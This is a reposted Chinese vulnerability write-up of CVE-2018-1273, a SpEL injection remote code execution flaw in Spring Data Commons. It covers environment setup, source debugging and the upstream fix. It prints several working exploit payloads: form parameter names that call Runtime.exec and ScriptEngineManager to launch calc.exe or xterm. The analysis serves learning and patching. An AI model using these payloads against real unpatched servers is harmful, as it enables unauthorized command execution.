转载

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

https://pivotal.io/security/cve-2018-1273

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

漏洞影响版本:

  • 2.0.x users should upgrade to 2.0.6
  • 1.13.x users should upgrade to 1.13.11
  • Older versions should upgrade to a supported branch

探索过程

从漏洞公告页的Refference给出的两个链接 commit/b1a20ae1e82a63f99b3afc6f2aaedb3bf4dc432a 和 commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653 ,可以看出该漏洞为SpEL注入。

在漏洞发现者 Philippe Arteau @h3xstream 的 推文和回复 中提到:

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】
@requestMapping("/users")
class UserController{
    @requestsMapping(method= RequestMethod.POST)
    public Object register(UserForm userForm, BindingResult binding, Model model){}
}

此外 Spring Data Team @SpringData 在该推文中回复:

Spring Data Team
‏That's only true if the form backing object is a projection interface. Simple DTOs are safe.

因此可以推测出几个漏洞条件:

  1. Spel注入
  2. a form accessible
  3. form backing object is a projection interface

另外根据 Philippe Arteau @h3xstream 提供的示例代码,不难发现这是spring官方的 示例代码 spring-data-examples 中的一部分

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

因此环境搭建以及漏洞探索过程不妨从此入手。

环境搭建

git clone https://github.com/spring-projects/spring-data-examples

我直接采用默认配置pom.xml,对应的Spring Data Commons版本为2.0.5

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

运行其中的web/example。

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

这是一个简单的注册页面,输入用户名、密码并重复。

抓包,修改payload数据:

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

漏洞分析

限于能力,还真不知道这个洞该从何谈起。干脆就定位到 org/springframework/data/web/MapDataBinder.java:174 。之所以定位到这里,官方的 commit 中在这里去除了StandardEvaluationContext,改用SimpleEvaluationContext。

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】 可以看到这里的propertyName即我们传入的参数名,其中带有了payaload。

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】 继续执行至187行,对其进行解析 parseExpression(propertyName)

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】 继续执行到217行,解析了spel表达式,成功执行calc.exe。

跟 spring-messaging Remote Code Execution 分析-【CVE-2018-1270】 中使用的 expression.getValue(context, Boolean.class) 不同,这里执行spel表达式使用的是 expression.setValue(context, value) 。以后在找类似的spel表达式注入时可以针对性查找这两条语句。

上图来自0c0c0f师傅的 CVE-2018-1270 Remote Code Execution with spring-messaging

漏洞修补

以 spring-data-commons 2.0.6 版本为例 https://github.com/spring-projects/spring-data-commons/commit/ae1dd2741ce06d44a0966ecbd6f47beabde2b653

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

换用SimpleEvaluationContext,用于实现简单的数据绑定,保持灵活性减少安全隐患(来自 360cert语 )。

参考

  • DATACMNS-1282
  • DATACMNS-1264
  • projections
  • spring-data-examples
  • xxlegend大师傅

后记

Spring Data Commons 2.0.5版本怼了一天,从早上8点怼到现在,尽管确定了Spel注入点,但就是用普通的表达式弹不出计算器。比如使用 T(java.lang.Runtime).getRuntime().exec('calc.exe')

Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】

用动态调用 (new java.lang.ProcessBuilder('calc')).start() 的方式也会触发失败。

刚刚才看到 xxlegend大师傅 在其中说明了原因Spring Data Commons 2.0.5版本中 MapDataBinder.java 的182添加了:

context.setTypeLocator(typeName -> {
    throw new SpelEvaluationException(SpelMessage.TYPE_NOT_FOUND, typeName);
});

最后用下面的payload可以绕过

username[#this.getClass().forName("java.lang.Runtime").getRuntime().exec("calc.exe")]=chybeta&password=chybeta&repeatedPassword=chybeta

另外matthiaskaiser 在 https://gist.github.com/matthiaskaiser/bfb274222c009b3570ab26436dc8799e 给出了另一个payload:

username[#this.getClass().forName("javax.script.ScriptEngineManager").newInstance().getEngineByName("js").eval("java.lang.Runtime.getRuntime().exec('xterm')")]=asdf

关于这个payload是怎么出来的,可以借鉴以下几个漏洞

  1. ElasticSearch Groovy脚本远程代码执行漏洞分析(CVE-2015-1427)
    Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】
  2. WebView 远程代码执行漏洞浅析
    Spring Data Commons Remote Code Execution 分析-【CVE-2018-1273】
原文  https://chybeta.github.io/2018/04/11/Spring-Data-Commons-Remote-Code-Execution-分析-【CVE-2018-1273】/
正文到此结束
Loading...